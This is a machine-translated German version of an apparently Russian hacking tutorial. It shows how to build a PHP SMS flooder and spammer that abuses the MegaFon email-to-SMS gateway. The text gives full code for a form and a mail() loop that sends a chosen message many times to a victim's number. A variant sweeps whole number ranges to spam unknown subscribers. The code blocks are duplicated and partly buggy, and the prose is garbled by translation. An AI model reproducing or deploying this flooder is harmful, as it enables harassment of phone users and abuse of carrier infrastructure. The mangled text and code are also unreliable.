This page has been robot translated, sorry for typos if any. Original content here.

Schreiben Sms Flooder oder Spammer (mail2sms)

mail2sms
Da ich entweder nicht funktionierende Links oder nicht funktionierende Skripte gefunden hatte, entschied ich mich dafür, Überschwemmungen auszulösen. Das Opfer war der russische MEGAFON , nehmen wir es als Beispiel.

Flud

Schauen wir uns zunächst an, was Überschwemmungen sind. Nach meinem Verständnis ist ein Flooder ein Programm oder Skript, das Informationen in einer bestimmten Menge (oft in sehr großer Menge) an einen bestimmten Empfänger sendet.

Und was müssen wir für einen solchen Floor schreiben? Fast nichts:
  • Hosting mit PHP-Unterstützung
  • Gehirn + gerade Arme
  • Fähigkeit, Google zu verwenden
Bei Flut verwenden wir das SMS-Gateway dieses Betreibers.
SMS-Gateway ist eine Schnittstelle, mit der Sie SMS senden und empfangen können, ohne ein Mobiltelefon zu verwenden. SMS-Nachrichten werden in E-Mails, HTTP-Anfragen und umgekehrt umgewandelt. Eine Nachricht, die über ein ähnliches Gateway gesendet wird, kann für den Absender frei sein; Technische Einschränkungen sind jedoch möglich, z. B. die Anzahl der Nachrichten, die von einem Computer pro Tag gesendet werden.

Wie aus dem Obigen hervorgeht, werden fortgeschrittene Programmierer nichts Neues für sich selbst lernen.
Also, Sie haben sich für das Hosting entschieden, mit allen ...
Erstellen Sie eine index.php- Seite mit folgendem Inhalt:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie aus dem Code hervorgeht, wird dies eine Seite mit einem zu sendenden Formular sein, das auf unser Skript verweist, welches sms.php heißen wird:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Wir fangen an, den Code zu zerlegen.
Zu Beginn des Skripts weisen wir Variablen zu.
$ from - jedes Postfach, aus dem Nachrichten kommen.
$ zu - der Empfänger, das heißt, derjenige, den wir Hochwasser haben. Der Wert der Variablen wird dem Formular index.php entnommen und mit @ sms.mgsm.ru koordiniert. Was ist das @ sms.mgsm.ru? Dieses SMS-Betreiber-Gateway MEGFON.
$ msg - Variable, die den Text enthält, der gesendet wird.
Als nächstes kommt der Zyklus, dessen Aufgabe es ist, die erforderliche Anzahl von Nachrichten mit einer Schlafpause zu senden.
Die Mail-Funktion ist nur für die Weiterleitung von Mail an das Gateway zuständig.

Jetzt über die Schlaffunktion . Warum wird es benötigt?
Wenn wir es nicht eingeben, reagiert der Server nicht auf die erforderliche Anzahl von SMS und sendet sie in Höhe von 1-2 Stück. Dies ist so, dass der Server Zeit hat zu reagieren und diese Funktion benötigt. Die Anzahl der Sekunden Verzögerung ist in Klammern angegeben. Diese Zahl wird nach der Sortiermethode verschiedener Varianten ausgewählt. Ihr Wert hängt von der Auslastung des Gateways und der Geschwindigkeit Ihres Internets ab. Also hier ein Experiment. Das Skript wurde mit Parameter 7 überprüft.

Wir überprüfen das Skript. Gehen Sie zu unserem Formular, geben Sie die erforderlichen Daten ein und drücken Sie den Knopf ...
Jetzt ist es eine Überlegung wert, dass das Skript nicht sofort ausgeführt wird, sondern nach dem Senden jeder Nachricht nach und nach auf Ihre Pause wartet.

SPAM

Was ist Spam? Ich verstehe Spam als eine Art von Informationen an verschiedene Menschen für verschiedene Zwecke zu senden. Was wir brauchen, um Spam zu organisieren
  • alles für flooder aufgelistet
Es ist notwendig, die Form etwas zu verändern. Ich werde nur ein Fragment geben:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und ein wenig modifizierter Code sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
ich denke alles ist klar. Wir bewegen uns in einem vorgegebenen Zahlenbereich und senden ihnen in einem bestimmten Intervall eine SMS. Mit dieser Methode:
[+] funktioniert ohne Base. auf Gesicht Einsparungen und Verkehr
[+] Im Gegensatz zu der Basis kommst du auch in die Anfänger des Netzwerks, die noch nicht in den Datenbanken sind (bezahlt und kostenlos)
[-] Nicht alle gesendeten SMS erreichen aus dem Grund, dass solche Nummern nicht sein dürfen. Aber es ist möglich, solche Bereiche zu wählen, dass die maximale Wahrscheinlichkeit der SMS-Zustellung ist.

Was zum Schluss zu sagen ...
Dieses Material erfordert keine Aktion und dient nur zu Informationszwecken. Ich bin der Autor des Artikels, und mit Copy-Paste ist der Link hier obligatorisch.
Mit etwas Lust und Geschick wird das Skript in einen Spammer umgewandelt oder passt sich jedem anderen Betreiber an, mit einem funktionierenden SMS-Gateway. Wir mussten googeln, um nach Gateways zu suchen. Für die Faulen - eine große Liste von Gateways . Aber das könnte der nächste Artikel sein.

PS Flooder hat kürzlich überprüft. Alles funktioniert super. Wenn es nicht funktioniert, gibt es mehrere Möglichkeiten. Ein - krumme Hände. Die zweite ist, dass Ihr Hosting die Mail-Funktion nicht enthält. Der dritte ist, dass der Betreiber das Gateway geändert hat oder das Gateway überlastet ist.